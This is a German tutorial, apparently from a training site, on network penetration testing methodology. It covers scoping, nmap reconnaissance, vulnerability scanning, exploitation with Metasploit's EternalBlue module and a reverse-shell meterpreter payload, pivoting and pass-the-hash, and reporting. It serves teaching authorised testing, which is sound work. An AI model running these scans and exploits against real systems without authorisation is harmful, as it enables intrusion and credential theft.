Netzwerk Penetrationstest Guide 2026: Methodik, Tools und Vorgehen

Netzwerk-Penetrationstests sind die häufigste Form des Sicherheitstests in deutschen Unternehmen. Sie simulieren einen realen Angreifer, der versucht, in das Unternehmensnetzwerk einzudringen — und zeigen, welche Systeme kompromittierbar sind, bevor ein echter Angreifer es tut.

Dieser Guide erklärt die vollständige Methodik von der Planung bis zum Reporting.

Phasen des Netzwerk-Penetrationstests

Phase 1: Scoping und Planung

Bevor ein einziger Befehl ausgeführt wird:

• Rules of Engagement (RoE): Welche IPs/Subnetze sind im Scope?
• Zeitfenster: Wann darf getestet werden (Geschäftszeiten, nachts, Wochenende)?
• Notfall-Kontakt: Wen informieren, wenn kritische Systeme betroffen sind?
• Schriftliche Genehmigung: Unbedingt vor Testbeginn

Ohne diese Grundlagen ist jedes Vorgehen illegal — auch gut gemeintes.

Phase 2: Reconnaissance

Passiv (ohne direkte Zielsystem-Interaktion):

# WHOIS-Informationen
whois beispielunternehmen.de

# DNS-Informationen
dig beispielunternehmen.de ANY
dnsrecon -d beispielunternehmen.de -t std

# Shodan (ohne Zielsystem anzusprechen)
# Suche: org:"Beispiel GmbH" — findet öffentlich sichtbare Services

OSINT: LinkedIn für Mitarbeiterstruktur, Job-Anzeigen (verraten oft eingesetzte Technologien), Google für alte Sitemap-Informationen.

Aktiv (Zielsystem wird angesprochen — nur mit Erlaubnis):

# Host-Discovery (Welche Hosts sind aktiv?)
nmap -sn 10.10.10.0/24   # Ping-Scan
nmap -sn --send-ip 10.10.10.0/24  # In manchen Umgebungen nötig

Phase 3: Port-Scanning und Service-Enumeration

Nmap: Das Standard-Tool

# Vollständiger Scan (alle 65535 Ports, langsam aber vollständig)
nmap -p- -sV -sC -oA vollscan 10.10.10.0/24

# Schneller Einstieg (Top 1000 Ports)
nmap -sV -sC -O 10.10.10.0/24 -oN scan_ergebnis.txt

# UDP-Scan (oft vergessen — SNMP, DNS, DHCP laufen auf UDP)
nmap -sU --top-ports 100 10.10.10.1

# Aggressiver Scan mit OS-Erkennung
nmap -A -T4 10.10.10.1

Nmap-Ausgabe-Flags:

• -oN scan.txt — Normales Format
• -oX scan.xml — XML (für Tools wie Metasploit)
• -oG scan.gnmap — Grep-fähiges Format
• -oA prefix — Alle drei gleichzeitig

Wichtige erkannte Services auswerten:

PORT     SERVICE    VERSION
22/tcp   ssh        OpenSSH 7.6 (Ubuntu)
80/tcp   http       Apache 2.4.29
443/tcp  https      Apache 2.4.29
445/tcp  microsoft-ds Windows Server 2019
3389/tcp ms-wbt-server Microsoft Terminal Services

→ SSH 7.6 ist alt und hat bekannte Schwachstellen. Windows Server 2019 auf Port 445 → SMB, potenzielle EternalBlue-Varianten prüfen.

Phase 4: Vulnerability Scanning

# Nmap NSE Scripts für bekannte Schwachstellen
nmap --script vuln 10.10.10.1

# SMB spezifisch
nmap --script smb-vuln* -p 445 10.10.10.1

# Nikto für Web-Anwendungen
nikto -h http://10.10.10.1

Nessus (kommerziell, branchenweit Standard):

• Essentials: kostenlos bis 32 IPs
• Findet automatisch tausende bekannte CVEs
• CVSS-Scores und Remediation-Empfehlungen
• Ausgabe als PDF/HTML-Bericht für Kunden

OpenVAS (Open-Source-Alternative):

sudo gvm-start  # GVM ist der neue Name
# Browser: https://localhost:9392

Phase 5: Exploitation

Nach Identifikation ausnutzbarer Schwachstellen:

Metasploit Framework:

msfconsole

# Beispiel: EternalBlue (MS17-010) auf Windows 7/Server 2008
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.100
run

Manuelle Exploitation:

# searchsploit — lokale Exploit-Datenbank
searchsploit "Apache 2.4.29"

# Exploit-DB.com für detaillierte PoC-Codes

Phase 6: Post-Exploitation und Laterale Bewegung

Nach erstem Zugriff:

# Meterpreter: Systeminformationen
sysinfo
getuid
# Netzwerk-Interfaces des kompromittierten Hosts
ipconfig  # (Windows) oder ifconfig (Linux)
# Lokale Benutzer
run post/multi/recon/local_exploit_suggester

Laterale Bewegung:

• Erbeutete Credentials für andere Systeme verwenden
• Pass-the-Hash (Windows)
• SSH-Keys finden und verwenden (Linux)
• Pivoting durch kompromittierte Hosts in isolierte Segmente

# Metasploit Route durch kompromittierten Host
route add 192.168.1.0 255.255.255.0 [SESSION_ID]
# Jetzt sind interne 192.168.1.x Hosts erreichbar

Phase 7: Reporting

Ein professioneller Bericht enthält:

Executive Summary (nicht-technisch):

• Gesamtrisikobewertung (Critical/High/Medium/Low)
• Wichtigste Findings in 1-2 Sätzen
• Empfehlung für Priorisierung

Technischer Teil pro Finding:

Titel: SMB EternalBlue (MS17-010) auf 10.10.10.5
CVSS-Score: 9.8 (Critical)
Betroffene Systeme: Windows Server 2012 R2
Beweis: [Screenshot der Meterpreter-Shell]
Beschreibung: ...
Empfehlung: Patch KB4012212 installieren, SMBv1 deaktivieren

Häufige Findings in deutschen Unternehmen

• Ungepatche Windows-Systeme (besonders SMB-Schwachstellen)
• Schwache Passwörter auf Netzwerkgeräten (Standard-Credentials)
• Unverschlüsselte Protokolle (Telnet, FTP, HTTP für interne Admin-Interfaces)
• Fehlende Netzwerksegmentierung (flaches Netzwerk)
• SNMP mit Community String "public"

Verbinden Sie Netzwerk-Pentesting mit dem Theorierahmen der Pentevo Academy — Netzwerksicherheit ist ein Kernthema des CEH-Lehrplans, komplett kostenlos.